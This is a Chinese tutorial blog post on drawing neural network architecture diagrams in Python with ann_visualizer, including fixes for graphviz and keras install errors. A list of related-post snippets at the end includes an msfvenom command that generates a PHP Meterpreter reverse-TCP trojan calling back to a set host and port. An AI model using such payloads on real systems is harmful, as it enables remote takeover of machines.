本文介绍基于Python语言,对神经网络模型的结构进行可视化绘图的方法。

  最近需要进行神经网络结构模型的可视化绘图工作。查阅多种方法后,看到很多方法都比较麻烦,例如单纯利用graphviz模块,就需要手动用DOT语言进行图片描述,比较花时间;最终,发现利用第三方的ann_visualizer模块,可以实现对已有神经网络的直接可视化,过程较为方便,本文对此加以详细介绍。

  此外,如果需要在MATLAB中实现神经网络构建与简单的可视化,大家可以查看MATLAB人工神经网络ANN代码;如果要借助软件或在线工具进行不需要代码的神经网络可视化,可以查看我们后期的博客。

  相关环境的版本信息:Anaconda Navigator1.10.0Python3.8.5

  首先,下载与安装必要的模块ann_visualizer。打开Anaconda Prompt (Soft)

  在弹出的界面中输入:

pip install ann_visualizer

  即可完成ann_visualizer模块的安装。

  接下来,我们就可以借助以下仅仅一句代码对神经网络模型进行可视化了。

ann_viz(DNNModel,view=True,filename='G:/CropYield/02_CodeAndMap/01_SavedPicture/MyANN.gv',title='ANN')

  其中,DNNModel就是我们已经建立好的神经网络模型,任意神经网络模型均可——可以是一个简单的浅层人工神经网络,也可以是一个相对复杂的全连接深度神经网络view表示是否在代码执行后直接显示绘图结果;filename是绘图结果的保存位置,需要以.gv结尾;title就是神经网络图片的名称。

  在这里,我就直接以Python TensorFlow深度神经网络回归:keras.Sequential中介绍并建立的深度神经网络加以可视化。

  第一次运行代码时发现,出现以下报错:

  报错提示我没有安装graphviz模块,但其实之前在进行随机森林决策树的可视化(也就是Python实现随机森林RF并对比自变量的重要性)时,早已经将这一模块安装过了,并且当时用到graphviz这一模块的代码也没有报错。通过查阅,发现这里需要重新安装一下python-graphviz这个新的模块。因此我们打开Anaconda Prompt (Soft),输入代码:

conda install python-graphviz

  如下图所示:

  安装之后这里就不报错啦~

  结果紧接着又报出了新的错误,说我的keras模块没有安装:

  这就不对了,明明在进行深度神经网络构建时都没有出现问题,甚至在这一句报错的下方连深度神经网络的误差绘制曲线都能显示(误差曲线的精度的确很差,大家不用在意~因为这里我们仅仅是做一个示范,所以Epoch次数就调得很小),说明keras模块应该是没问题的。

  随后考虑到,这里报错的keras是在ann_visualizer的文件环境下,可能是环境不同导致的。打开Anaconda Navigator,在base (root)环境下确实找不到keras

  那么我这里就图方便,直接在base (root)环境下再安装一个keras。安装方法同上,输入代码即可:

pip install keras

  然后这里就不报错啦~

  接下来,经过多次尝试发现,这一方法进行神经网络可视化时,一是不能存在正则化层与BatchNormalization层;二是LeakyReLU层与Dropout层的总数量不能过多,否则绘图结果会出现问题——这就显得这一可视化方法稍微有点鸡肋了,但是其对于基本的神经网络绘图而言其实也已经很不错了。因此,我就将Python TensorFlow深度神经网络回归:keras.Sequential中的神经网络上述对应的层删除或注释掉。

  如下图,首先,将当初我的代码对应的LeakyReLU层与Dropout层注释掉:

  然后执行代码,即可进行神经网络的可视化。且绘制出的图将会自动打开在PDF阅读软件中,如下图(版面有限,这里就只是绘图结果的一部分)。

  还是很不错的~我们还可以直接将其转换为图片格式,看起来就更直观了:

  如果再取消Dropout层的注释,即绘图时加上Dropout层,也还是很不错的:

  如果我们再加上LeakyReLU层,就成了这个乱七八糟、不太正确的样子(原图实在太大了,就只给大家截取图片的一部分):

  可以看到,这样的话就有些问题了。

  最后,我们看一下这个ann_visualizer第三方库的源代码,可以看到该库支持绘图的不同种类神经网络层;如果大家的神经网络包含这些层,就可以用ann_visualizer这一第三方库进行绘图。

  至此,大功告成。

Python绘制神经网络模型图的更多相关文章

  1. 使用python绘制根轨迹图

    最近在学自动控制原理,发现根轨迹这一张全是绘图的,然而书上教的全是使用matlab进行计算机辅助绘图.但国内对于使用python进行这种绘图的资料基本没有,后来发现python-control包已经将 ...

  2. Python绘制语谱图+时域波形

    """Python绘制语谱图""" """Python绘制时域波形""" # 导 ...

  3. Tensorflow 对上一节神经网络模型的优化

    本节涉及的知识点: 1.在程序中查看变量的取值 2.张量 3.用张量重新组织输入数据 4.简化的神经网络模型 5.标量.多维数组 6.在TensorFlow中查看和设定张量的形态 7.用softmax ...

  4. 手写数字识别 ----卷积神经网络模型官方案例注释(基于Tensorflow,Python)

    # 手写数字识别 ----卷积神经网络模型 import os import tensorflow as tf #部分注释来源于 # http://www.cnblogs.com/rgvb178/p/ ...

  5. 从图(Graph)到图卷积(Graph Convolution):漫谈图神经网络模型 (二)

    本文属于图神经网络的系列文章,文章目录如下: 从图(Graph)到图卷积(Graph Convolution):漫谈图神经网络模型 (一) 从图(Graph)到图卷积(Graph Convolutio ...

  6. 【转】使用Python matplotlib绘制股票走势图

    转载出处 一.前言 matplotlib[1]是著名的python绘图库,它提供了一整套绘图API,十分适合交互式绘图.本人在工作过程中涉及到股票数据的处理如绘制K线等,因此将matplotlib的使 ...

  7. 从图(Graph)到图卷积(Graph Convolution):漫谈图神经网络模型 (一)

    本文属于图神经网络的系列文章,文章目录如下: 从图(Graph)到图卷积(Graph Convolution):漫谈图神经网络模型 (一) 从图(Graph)到图卷积(Graph Convolutio ...

  8. python绘制caffe中网络模型

    caffe-master/python/draw_net.py 实现绘制caffe中定义的网络模型功能,将.prototxt文件可视化. 需要先安装pydot和protobuf工具 通过Anacond ...

  9. 从图(Graph)到图卷积(Graph Convolution):漫谈图神经网络模型 (三)

    本文属于图神经网络的系列文章,文章目录如下: 从图(Graph)到图卷积(Graph Convolution):漫谈图神经网络模型 (一) 从图(Graph)到图卷积(Graph Convolutio ...

  10. 用Python 绘制分布(折线)图

    用Python 绘制分布(折线)图,使用的是 plot()函数. 一个简单的例子: # encoding=utf-8 import matplotlib.pyplot as plt from pyla ...

随机推荐

  1. C++ 一个简洁的CHECK宏

    #define CHECK2(condition, message) \ (!(condition)) ? (std::cerr << "Assertion failed: (& ...

  2. C++初阶(stack+queue)

    stack stack介绍 stack是一种先进后出的数据结构,只有一个出口,类似于栈.stack容器哦允许新增元素,移除元素,取得栈顶元素,但是除了最顶端之后,没有任何其他办法可以存取stack的其 ...

  3. day24-服务器端渲染技术02

    服务器端渲染技术02 11.EL表达式 11.1EL表达式介绍 EL表达式全称:Expression Language,是表达式语言 EL表达式主要是代替jsp页面的表达式脚本 EL表达式输出数据时, ...

  4. 关于更改 lightdm 主题的方法

    lightdm 是一个显示管理器,它支持很多种 greeter lightdm 的主要配置文件都在 /etc/lightdm 目录下面 各个文件的作用: 配置文件名称 作用 图形化界面配置工具 lig ...

  5. label studio 结合 MMDetection 实现数据集自动标记、模型迭代训练的闭环

    前言 一个 AI 方向的朋友因为标数据集发了篇 SCI 论文,看着他标了两个多月的数据集这么辛苦,就想着人工智能都能站在围棋巅峰了,难道不能动动小手为自己标数据吗?查了一下还真有一些能够满足此需求的框 ...

  6. Blender修改视野范围

    首先,我不是专门的建模人员.但是有时候会拿到建模人员的制作的模型导入进行修改. 比如简单的删除某个模型,调整模型的尺寸. 还有就是调整模型的建模中心点,这点有时候显得特别重要,模型的中心点偏离较大会给 ...

  7. Springboot配置多Redis源

    Springboot配置多Redis源 一.背景 因项目部署了新集群,某些缓存数据需要在旧的redis上取,就必须配置多个数据源动态获取相对应的源以兼容业务. 二.配置依赖 <dependenc ...

  8. codeforce E - Binary Inversions题解

    题目: 给你一个01串,现在你可以(或者不用)选取其中一个元素进行一次反转操作0-1,1-0:从而使得串中的逆序对个数最多. 题目链接:codeforce origin problem 思路: 1. ...

  9. 监控Windows(生成php木马)

    sudo su 生成木马: msfvenom --platform php -p php/meterpreter/reverse_tcp lhost=192.168.1.9 lport=55555 R ...

  10. RuntimeError: setuptools >= 41 required to build

    使用命令python setup.py install 安装第三方库报RuntimeError: setuptools >= 41 required to build 原因setuptools版 ...